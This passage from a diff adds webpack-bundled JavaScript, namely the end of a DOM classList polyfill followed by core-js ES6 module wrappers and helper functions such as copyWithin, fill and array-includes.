DOMEx = function (type, message) { + this.name = type; + this.code = DOMException[type]; + this.message = message; + } + , checkTokenAndGetIndex = function (classList, token) { + if (token === "") { + throw new DOMEx( + "SYNTAX_ERR" + , "An invalid or illegal string was specified" + ); + } + if (/\s/.test(token)) { + throw new DOMEx( + "INVALID_CHARACTER_ERR" + , "String contains an invalid character" + ); + } + return arrIndexOf.call(classList, token); + } + , ClassList = function (elem) { + var + trimmedClasses = strTrim.call(elem.getAttribute("class") || "") + , classes = trimmedClasses ? trimmedClasses.split(/\s+/) : [] + , i = 0 + , len = classes.length + ; + for (; i < len; i++) { + this.push(classes[i]); + } + this._updateClassName = function () { + elem.setAttribute("class", this.toString()); + }; + } + , classListProto = ClassList[protoProp] = [] + , classListGetter = function () { + return new ClassList(this); + } +; +// Most DOMException implementations don't allow calling DOMException's toString() +// on non-DOMExceptions. Error's toString() is sufficient here. +DOMEx[protoProp] = Error[protoProp]; +classListProto.item = function (i) { + return this[i] || null; +}; +classListProto.contains = function (token) { + token += ""; + return checkTokenAndGetIndex(this, token) !== -1; +}; +classListProto.add = function () { + var + tokens = arguments + , i = 0 + , l = tokens.length + , token + , updated = false + ; + do { + token = tokens[i] + ""; + if (checkTokenAndGetIndex(this, token) === -1) { + this.push(token); + updated = true; + } + } + while (++i < l); + + if (updated) { + this._updateClassName(); + } +}; +classListProto.remove = function () { + var + tokens = arguments + , i = 0 + , l = tokens.length + , token + , updated = false + , index + ; + do { + token = tokens[i] + ""; + index = checkTokenAndGetIndex(this, token); + while (index !== -1) { + this.splice(index, 1); + updated = true; + index = checkTokenAndGetIndex(this, token); + } + } + while (++i < l); + + if (updated) { + this._updateClassName(); + } +}; +classListProto.toggle = function (token, force) { + token += ""; + + var + result = this.contains(token) + , method = result ? + force !== true && "remove" + : + force !== false && "add" + ; + + if (method) { + this[method](token); + } + + if (force === true || force === false) { + return force; + } else { + return !result; + } +}; +classListProto.toString = function () { + return this.join(" "); +}; + +if (objCtr.defineProperty) { + var classListPropDesc = { + get: classListGetter + , enumerable: true + , configurable: true + }; + try { + objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc); + } catch (ex) { // IE 8 doesn't support enumerable:true + if (ex.number === -0x7FF5EC54) { + classListPropDesc.enumerable = false; + objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc); + } + } +} else if (objCtr[protoProp].__defineGetter__) { + elemCtrProto.__defineGetter__(classListProp, classListGetter); +} + +}(self)); + +} else { +// There is full or partial native classList support, so just check if we need +// to normalize the add/remove and toggle APIs. + +(function () { + "use strict"; + + var testElement = document.createElement("_"); + + testElement.classList.add("c1", "c2"); + + // Polyfill for IE 10/11 and Firefox <26, where classList.add and + // classList.remove exist but support only one argument at a time. + if (!testElement.classList.contains("c2")) { + var createMethod = function(method) { + var original = DOMTokenList.prototype[method]; + + DOMTokenList.prototype[method] = function(token) { + var i, len = arguments.length; + + for (i = 0; i < len; i++) { + token = arguments[i]; + original.call(this, token); + } + }; + }; + createMethod('add'); + createMethod('remove'); + } + + testElement.classList.toggle("c3", false); + + // Polyfill for IE 10 and Firefox <24, where classList.toggle does not + // support the second argument. + if (testElement.classList.contains("c3")) { + var _toggle = DOMTokenList.prototype.toggle; + + DOMTokenList.prototype.toggle = function(token, force) { + if (1 in arguments && !this.contains(token) === !force) { + return force; + } else { + return _toggle.call(this, token); + } + }; + + } + + testElement = null; +}()); + +} + +} + + + +/***/ }), + +/***/ "./node_modules/core-js/es6/array.js": +/*!*******************************************!*\ + !*** ./node_modules/core-js/es6/array.js ***! + \*******************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.string.iterator */ "./node_modules/core-js/modules/es6.string.iterator.js"); +__webpack_require__(/*! ../modules/es6.array.is-array */ "./node_modules/core-js/modules/es6.array.is-array.js"); +__webpack_require__(/*! ../modules/es6.array.from */ "./node_modules/core-js/modules/es6.array.from.js"); +__webpack_require__(/*! ../modules/es6.array.of */ "./node_modules/core-js/modules/es6.array.of.js"); +__webpack_require__(/*! ../modules/es6.array.join */ "./node_modules/core-js/modules/es6.array.join.js"); +__webpack_require__(/*! ../modules/es6.array.slice */ "./node_modules/core-js/modules/es6.array.slice.js"); +__webpack_require__(/*! ../modules/es6.array.sort */ "./node_modules/core-js/modules/es6.array.sort.js"); +__webpack_require__(/*! ../modules/es6.array.for-each */ "./node_modules/core-js/modules/es6.array.for-each.js"); +__webpack_require__(/*! ../modules/es6.array.map */ "./node_modules/core-js/modules/es6.array.map.js"); +__webpack_require__(/*! ../modules/es6.array.filter */ "./node_modules/core-js/modules/es6.array.filter.js"); +__webpack_require__(/*! ../modules/es6.array.some */ "./node_modules/core-js/modules/es6.array.some.js"); +__webpack_require__(/*! ../modules/es6.array.every */ "./node_modules/core-js/modules/es6.array.every.js"); +__webpack_require__(/*! ../modules/es6.array.reduce */ "./node_modules/core-js/modules/es6.array.reduce.js"); +__webpack_require__(/*! ../modules/es6.array.reduce-right */ "./node_modules/core-js/modules/es6.array.reduce-right.js"); +__webpack_require__(/*! ../modules/es6.array.index-of */ "./node_modules/core-js/modules/es6.array.index-of.js"); +__webpack_require__(/*! ../modules/es6.array.last-index-of */ "./node_modules/core-js/modules/es6.array.last-index-of.js"); +__webpack_require__(/*! ../modules/es6.array.copy-within */ "./node_modules/core-js/modules/es6.array.copy-within.js"); +__webpack_require__(/*! ../modules/es6.array.fill */ "./node_modules/core-js/modules/es6.array.fill.js"); +__webpack_require__(/*! ../modules/es6.array.find */ "./node_modules/core-js/modules/es6.array.find.js"); +__webpack_require__(/*! ../modules/es6.array.find-index */ "./node_modules/core-js/modules/es6.array.find-index.js"); +__webpack_require__(/*! ../modules/es6.array.species */ "./node_modules/core-js/modules/es6.array.species.js"); +__webpack_require__(/*! ../modules/es6.array.iterator */ "./node_modules/core-js/modules/es6.array.iterator.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Array; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/date.js": +/*!******************************************!*\ + !*** ./node_modules/core-js/es6/date.js ***! + \******************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.date.now */ "./node_modules/core-js/modules/es6.date.now.js"); +__webpack_require__(/*! ../modules/es6.date.to-json */ "./node_modules/core-js/modules/es6.date.to-json.js"); +__webpack_require__(/*! ../modules/es6.date.to-iso-string */ "./node_modules/core-js/modules/es6.date.to-iso-string.js"); +__webpack_require__(/*! ../modules/es6.date.to-string */ "./node_modules/core-js/modules/es6.date.to-string.js"); +__webpack_require__(/*! ../modules/es6.date.to-primitive */ "./node_modules/core-js/modules/es6.date.to-primitive.js"); +module.exports = Date; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/function.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/es6/function.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.function.bind */ "./node_modules/core-js/modules/es6.function.bind.js"); +__webpack_require__(/*! ../modules/es6.function.name */ "./node_modules/core-js/modules/es6.function.name.js"); +__webpack_require__(/*! ../modules/es6.function.has-instance */ "./node_modules/core-js/modules/es6.function.has-instance.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Function; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/map.js": +/*!*****************************************!*\ + !*** ./node_modules/core-js/es6/map.js ***! + \*****************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.object.to-string */ "./node_modules/core-js/modules/es6.object.to-string.js"); +__webpack_require__(/*! ../modules/es6.string.iterator */ "./node_modules/core-js/modules/es6.string.iterator.js"); +__webpack_require__(/*! ../modules/web.dom.iterable */ "./node_modules/core-js/modules/web.dom.iterable.js"); +__webpack_require__(/*! ../modules/es6.map */ "./node_modules/core-js/modules/es6.map.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Map; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/math.js": +/*!******************************************!*\ + !*** ./node_modules/core-js/es6/math.js ***! + \******************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.math.acosh */ "./node_modules/core-js/modules/es6.math.acosh.js"); +__webpack_require__(/*! ../modules/es6.math.asinh */ "./node_modules/core-js/modules/es6.math.asinh.js"); +__webpack_require__(/*! ../modules/es6.math.atanh */ "./node_modules/core-js/modules/es6.math.atanh.js"); +__webpack_require__(/*! ../modules/es6.math.cbrt */ "./node_modules/core-js/modules/es6.math.cbrt.js"); +__webpack_require__(/*! ../modules/es6.math.clz32 */ "./node_modules/core-js/modules/es6.math.clz32.js"); +__webpack_require__(/*! ../modules/es6.math.cosh */ "./node_modules/core-js/modules/es6.math.cosh.js"); +__webpack_require__(/*! ../modules/es6.math.expm1 */ "./node_modules/core-js/modules/es6.math.expm1.js"); +__webpack_require__(/*! ../modules/es6.math.fround */ "./node_modules/core-js/modules/es6.math.fround.js"); +__webpack_require__(/*! ../modules/es6.math.hypot */ "./node_modules/core-js/modules/es6.math.hypot.js"); +__webpack_require__(/*! ../modules/es6.math.imul */ "./node_modules/core-js/modules/es6.math.imul.js"); +__webpack_require__(/*! ../modules/es6.math.log10 */ "./node_modules/core-js/modules/es6.math.log10.js"); +__webpack_require__(/*! ../modules/es6.math.log1p */ "./node_modules/core-js/modules/es6.math.log1p.js"); +__webpack_require__(/*! ../modules/es6.math.log2 */ "./node_modules/core-js/modules/es6.math.log2.js"); +__webpack_require__(/*! ../modules/es6.math.sign */ "./node_modules/core-js/modules/es6.math.sign.js"); +__webpack_require__(/*! ../modules/es6.math.sinh */ "./node_modules/core-js/modules/es6.math.sinh.js"); +__webpack_require__(/*! ../modules/es6.math.tanh */ "./node_modules/core-js/modules/es6.math.tanh.js"); +__webpack_require__(/*! ../modules/es6.math.trunc */ "./node_modules/core-js/modules/es6.math.trunc.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Math; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/number.js": +/*!********************************************!*\ + !*** ./node_modules/core-js/es6/number.js ***! + \********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.number.constructor */ "./node_modules/core-js/modules/es6.number.constructor.js"); +__webpack_require__(/*! ../modules/es6.number.to-fixed */ "./node_modules/core-js/modules/es6.number.to-fixed.js"); +__webpack_require__(/*! ../modules/es6.number.to-precision */ "./node_modules/core-js/modules/es6.number.to-precision.js"); +__webpack_require__(/*! ../modules/es6.number.epsilon */ "./node_modules/core-js/modules/es6.number.epsilon.js"); +__webpack_require__(/*! ../modules/es6.number.is-finite */ "./node_modules/core-js/modules/es6.number.is-finite.js"); +__webpack_require__(/*! ../modules/es6.number.is-integer */ "./node_modules/core-js/modules/es6.number.is-integer.js"); +__webpack_require__(/*! ../modules/es6.number.is-nan */ "./node_modules/core-js/modules/es6.number.is-nan.js"); +__webpack_require__(/*! ../modules/es6.number.is-safe-integer */ "./node_modules/core-js/modules/es6.number.is-safe-integer.js"); +__webpack_require__(/*! ../modules/es6.number.max-safe-integer */ "./node_modules/core-js/modules/es6.number.max-safe-integer.js"); +__webpack_require__(/*! ../modules/es6.number.min-safe-integer */ "./node_modules/core-js/modules/es6.number.min-safe-integer.js"); +__webpack_require__(/*! ../modules/es6.number.parse-float */ "./node_modules/core-js/modules/es6.number.parse-float.js"); +__webpack_require__(/*! ../modules/es6.number.parse-int */ "./node_modules/core-js/modules/es6.number.parse-int.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Number; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/object.js": +/*!********************************************!*\ + !*** ./node_modules/core-js/es6/object.js ***! + \********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.symbol */ "./node_modules/core-js/modules/es6.symbol.js"); +__webpack_require__(/*! ../modules/es6.object.create */ "./node_modules/core-js/modules/es6.object.create.js"); +__webpack_require__(/*! ../modules/es6.object.define-property */ "./node_modules/core-js/modules/es6.object.define-property.js"); +__webpack_require__(/*! ../modules/es6.object.define-properties */ "./node_modules/core-js/modules/es6.object.define-properties.js"); +__webpack_require__(/*! ../modules/es6.object.get-own-property-descriptor */ "./node_modules/core-js/modules/es6.object.get-own-property-descriptor.js"); +__webpack_require__(/*! ../modules/es6.object.get-prototype-of */ "./node_modules/core-js/modules/es6.object.get-prototype-of.js"); +__webpack_require__(/*! ../modules/es6.object.keys */ "./node_modules/core-js/modules/es6.object.keys.js"); +__webpack_require__(/*! ../modules/es6.object.get-own-property-names */ "./node_modules/core-js/modules/es6.object.get-own-property-names.js"); +__webpack_require__(/*! ../modules/es6.object.freeze */ "./node_modules/core-js/modules/es6.object.freeze.js"); +__webpack_require__(/*! ../modules/es6.object.seal */ "./node_modules/core-js/modules/es6.object.seal.js"); +__webpack_require__(/*! ../modules/es6.object.prevent-extensions */ "./node_modules/core-js/modules/es6.object.prevent-extensions.js"); +__webpack_require__(/*! ../modules/es6.object.is-frozen */ "./node_modules/core-js/modules/es6.object.is-frozen.js"); +__webpack_require__(/*! ../modules/es6.object.is-sealed */ "./node_modules/core-js/modules/es6.object.is-sealed.js"); +__webpack_require__(/*! ../modules/es6.object.is-extensible */ "./node_modules/core-js/modules/es6.object.is-extensible.js"); +__webpack_require__(/*! ../modules/es6.object.assign */ "./node_modules/core-js/modules/es6.object.assign.js"); +__webpack_require__(/*! ../modules/es6.object.is */ "./node_modules/core-js/modules/es6.object.is.js"); +__webpack_require__(/*! ../modules/es6.object.set-prototype-of */ "./node_modules/core-js/modules/es6.object.set-prototype-of.js"); +__webpack_require__(/*! ../modules/es6.object.to-string */ "./node_modules/core-js/modules/es6.object.to-string.js"); + +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Object; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/parse-float.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/es6/parse-float.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.parse-float */ "./node_modules/core-js/modules/es6.parse-float.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").parseFloat; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/parse-int.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/es6/parse-int.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.parse-int */ "./node_modules/core-js/modules/es6.parse-int.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").parseInt; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/reflect.js": +/*!*********************************************!*\ + !*** ./node_modules/core-js/es6/reflect.js ***! + \*********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.reflect.apply */ "./node_modules/core-js/modules/es6.reflect.apply.js"); +__webpack_require__(/*! ../modules/es6.reflect.construct */ "./node_modules/core-js/modules/es6.reflect.construct.js"); +__webpack_require__(/*! ../modules/es6.reflect.define-property */ "./node_modules/core-js/modules/es6.reflect.define-property.js"); +__webpack_require__(/*! ../modules/es6.reflect.delete-property */ "./node_modules/core-js/modules/es6.reflect.delete-property.js"); +__webpack_require__(/*! ../modules/es6.reflect.enumerate */ "./node_modules/core-js/modules/es6.reflect.enumerate.js"); +__webpack_require__(/*! ../modules/es6.reflect.get */ "./node_modules/core-js/modules/es6.reflect.get.js"); +__webpack_require__(/*! ../modules/es6.reflect.get-own-property-descriptor */ "./node_modules/core-js/modules/es6.reflect.get-own-property-descriptor.js"); +__webpack_require__(/*! ../modules/es6.reflect.get-prototype-of */ "./node_modules/core-js/modules/es6.reflect.get-prototype-of.js"); +__webpack_require__(/*! ../modules/es6.reflect.has */ "./node_modules/core-js/modules/es6.reflect.has.js"); +__webpack_require__(/*! ../modules/es6.reflect.is-extensible */ "./node_modules/core-js/modules/es6.reflect.is-extensible.js"); +__webpack_require__(/*! ../modules/es6.reflect.own-keys */ "./node_modules/core-js/modules/es6.reflect.own-keys.js"); +__webpack_require__(/*! ../modules/es6.reflect.prevent-extensions */ "./node_modules/core-js/modules/es6.reflect.prevent-extensions.js"); +__webpack_require__(/*! ../modules/es6.reflect.set */ "./node_modules/core-js/modules/es6.reflect.set.js"); +__webpack_require__(/*! ../modules/es6.reflect.set-prototype-of */ "./node_modules/core-js/modules/es6.reflect.set-prototype-of.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Reflect; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/regexp.js": +/*!********************************************!*\ + !*** ./node_modules/core-js/es6/regexp.js ***! + \********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.regexp.constructor */ "./node_modules/core-js/modules/es6.regexp.constructor.js"); +__webpack_require__(/*! ../modules/es6.regexp.exec */ "./node_modules/core-js/modules/es6.regexp.exec.js"); +__webpack_require__(/*! ../modules/es6.regexp.to-string */ "./node_modules/core-js/modules/es6.regexp.to-string.js"); +__webpack_require__(/*! ../modules/es6.regexp.flags */ "./node_modules/core-js/modules/es6.regexp.flags.js"); +__webpack_require__(/*! ../modules/es6.regexp.match */ "./node_modules/core-js/modules/es6.regexp.match.js"); +__webpack_require__(/*! ../modules/es6.regexp.replace */ "./node_modules/core-js/modules/es6.regexp.replace.js"); +__webpack_require__(/*! ../modules/es6.regexp.search */ "./node_modules/core-js/modules/es6.regexp.search.js"); +__webpack_require__(/*! ../modules/es6.regexp.split */ "./node_modules/core-js/modules/es6.regexp.split.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").RegExp; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/set.js": +/*!*****************************************!*\ + !*** ./node_modules/core-js/es6/set.js ***! + \*****************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.object.to-string */ "./node_modules/core-js/modules/es6.object.to-string.js"); +__webpack_require__(/*! ../modules/es6.string.iterator */ "./node_modules/core-js/modules/es6.string.iterator.js"); +__webpack_require__(/*! ../modules/web.dom.iterable */ "./node_modules/core-js/modules/web.dom.iterable.js"); +__webpack_require__(/*! ../modules/es6.set */ "./node_modules/core-js/modules/es6.set.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Set; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/string.js": +/*!********************************************!*\ + !*** ./node_modules/core-js/es6/string.js ***! + \********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.string.from-code-point */ "./node_modules/core-js/modules/es6.string.from-code-point.js"); +__webpack_require__(/*! ../modules/es6.string.raw */ "./node_modules/core-js/modules/es6.string.raw.js"); +__webpack_require__(/*! ../modules/es6.string.trim */ "./node_modules/core-js/modules/es6.string.trim.js"); +__webpack_require__(/*! ../modules/es6.string.iterator */ "./node_modules/core-js/modules/es6.string.iterator.js"); +__webpack_require__(/*! ../modules/es6.string.code-point-at */ "./node_modules/core-js/modules/es6.string.code-point-at.js"); +__webpack_require__(/*! ../modules/es6.string.ends-with */ "./node_modules/core-js/modules/es6.string.ends-with.js"); +__webpack_require__(/*! ../modules/es6.string.includes */ "./node_modules/core-js/modules/es6.string.includes.js"); +__webpack_require__(/*! ../modules/es6.string.repeat */ "./node_modules/core-js/modules/es6.string.repeat.js"); +__webpack_require__(/*! ../modules/es6.string.starts-with */ "./node_modules/core-js/modules/es6.string.starts-with.js"); +__webpack_require__(/*! ../modules/es6.string.anchor */ "./node_modules/core-js/modules/es6.string.anchor.js"); +__webpack_require__(/*! ../modules/es6.string.big */ "./node_modules/core-js/modules/es6.string.big.js"); +__webpack_require__(/*! ../modules/es6.string.blink */ "./node_modules/core-js/modules/es6.string.blink.js"); +__webpack_require__(/*! ../modules/es6.string.bold */ "./node_modules/core-js/modules/es6.string.bold.js"); +__webpack_require__(/*! ../modules/es6.string.fixed */ "./node_modules/core-js/modules/es6.string.fixed.js"); +__webpack_require__(/*! ../modules/es6.string.fontcolor */ "./node_modules/core-js/modules/es6.string.fontcolor.js"); +__webpack_require__(/*! ../modules/es6.string.fontsize */ "./node_modules/core-js/modules/es6.string.fontsize.js"); +__webpack_require__(/*! ../modules/es6.string.italics */ "./node_modules/core-js/modules/es6.string.italics.js"); +__webpack_require__(/*! ../modules/es6.string.link */ "./node_modules/core-js/modules/es6.string.link.js"); +__webpack_require__(/*! ../modules/es6.string.small */ "./node_modules/core-js/modules/es6.string.small.js"); +__webpack_require__(/*! ../modules/es6.string.strike */ "./node_modules/core-js/modules/es6.string.strike.js"); +__webpack_require__(/*! ../modules/es6.string.sub */ "./node_modules/core-js/modules/es6.string.sub.js"); +__webpack_require__(/*! ../modules/es6.string.sup */ "./node_modules/core-js/modules/es6.string.sup.js"); +__webpack_require__(/*! ../modules/es6.regexp.match */ "./node_modules/core-js/modules/es6.regexp.match.js"); +__webpack_require__(/*! ../modules/es6.regexp.replace */ "./node_modules/core-js/modules/es6.regexp.replace.js"); +__webpack_require__(/*! ../modules/es6.regexp.search */ "./node_modules/core-js/modules/es6.regexp.search.js"); +__webpack_require__(/*! ../modules/es6.regexp.split */ "./node_modules/core-js/modules/es6.regexp.split.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").String; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/symbol.js": +/*!********************************************!*\ + !*** ./node_modules/core-js/es6/symbol.js ***! + \********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.symbol */ "./node_modules/core-js/modules/es6.symbol.js"); +__webpack_require__(/*! ../modules/es6.object.to-string */ "./node_modules/core-js/modules/es6.object.to-string.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Symbol; + + +/***/ }), + +/***/ "./node_modules/core-js/es6/weak-map.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/es6/weak-map.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../modules/es6.object.to-string */ "./node_modules/core-js/modules/es6.object.to-string.js"); +__webpack_require__(/*! ../modules/es6.array.iterator */ "./node_modules/core-js/modules/es6.array.iterator.js"); +__webpack_require__(/*! ../modules/es6.weak-map */ "./node_modules/core-js/modules/es6.weak-map.js"); +module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").WeakMap; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_a-function.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_a-function.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it) { + if (typeof it != 'function') throw TypeError(it + ' is not a function!'); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_a-number-value.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/_a-number-value.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +module.exports = function (it, msg) { + if (typeof it != 'number' && cof(it) != 'Number') throw TypeError(msg); + return +it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_add-to-unscopables.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/_add-to-unscopables.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 22.1.3.31 Array.prototype[@@unscopables] +var UNSCOPABLES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('unscopables'); +var ArrayProto = Array.prototype; +if (ArrayProto[UNSCOPABLES] == undefined) __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")(ArrayProto, UNSCOPABLES, {}); +module.exports = function (key) { + ArrayProto[UNSCOPABLES][key] = true; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_advance-string-index.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/_advance-string-index.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var at = __webpack_require__(/*! ./_string-at */ "./node_modules/core-js/modules/_string-at.js")(true); + + // `AdvanceStringIndex` abstract operation +// https://tc39.github.io/ecma262/#sec-advancestringindex +module.exports = function (S, index, unicode) { + return index + (unicode ? at(S, index).length : 1); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_an-instance.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_an-instance.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it, Constructor, name, forbiddenField) { + if (!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)) { + throw TypeError(name + ': incorrect invocation!'); + } return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_an-object.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_an-object.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +module.exports = function (it) { + if (!isObject(it)) throw TypeError(it + ' is not an object!'); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-copy-within.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_array-copy-within.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length) + +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); + +module.exports = [].copyWithin || function copyWithin(target /* = 0 */, start /* = 0, end = @length */) { + var O = toObject(this); + var len = toLength(O.length); + var to = toAbsoluteIndex(target, len); + var from = toAbsoluteIndex(start, len); + var end = arguments.length > 2 ? arguments[2] : undefined; + var count = Math.min((end === undefined ? len : toAbsoluteIndex(end, len)) - from, len - to); + var inc = 1; + if (from < to && to < from + count) { + inc = -1; + from += count - 1; + to += count - 1; + } + while (count-- > 0) { + if (from in O) O[to] = O[from]; + else delete O[to]; + to += inc; + from += inc; + } return O; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-fill.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_array-fill.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length) + +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +module.exports = function fill(value /* , start = 0, end = @length */) { + var O = toObject(this); + var length = toLength(O.length); + var aLen = arguments.length; + var index = toAbsoluteIndex(aLen > 1 ? arguments[1] : undefined, length); + var end = aLen > 2 ? arguments[2] : undefined; + var endPos = end === undefined ? length : toAbsoluteIndex(end, length); + while (endPos > index) O[index++] = value; + return O; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-includes.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/_array-includes.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// false -> Array#indexOf +// true -> Array#includes +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +module.exports = function (IS_INCLUDES) { + return function ($this, el, fromIndex) { + var O = toIObject($this); + var length = toLength(O.length); + var index = toAbsoluteIndex(fromIndex, length); + var value; + // Array#includes uses SameValueZero equality algorithm + // eslint-disable-next-line no-self-compare + if (IS_INCLUDES && el != el) while (length > index) { + value = O[index++]; + // eslint-disable-next-line no-self-compare + if (value != value) return true; + // Array#indexOf ignores holes, Array#includes - not + } else for (;length > index; index++) if (IS_INCLUDES || index in O) { + if (O[index] === el) return IS_INCLUDES || index || 0; + } return !IS_INCLUDES && -1; + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-methods.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_array-methods.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 0 -> Array#forEach +// 1 -> Array#map +// 2 -> Array#filter +// 3 -> Array#some +// 4 -> Array#every +// 5 -> Array#find +// 6 -> Array#findIndex +var ctx = __webpack_require__(/*! 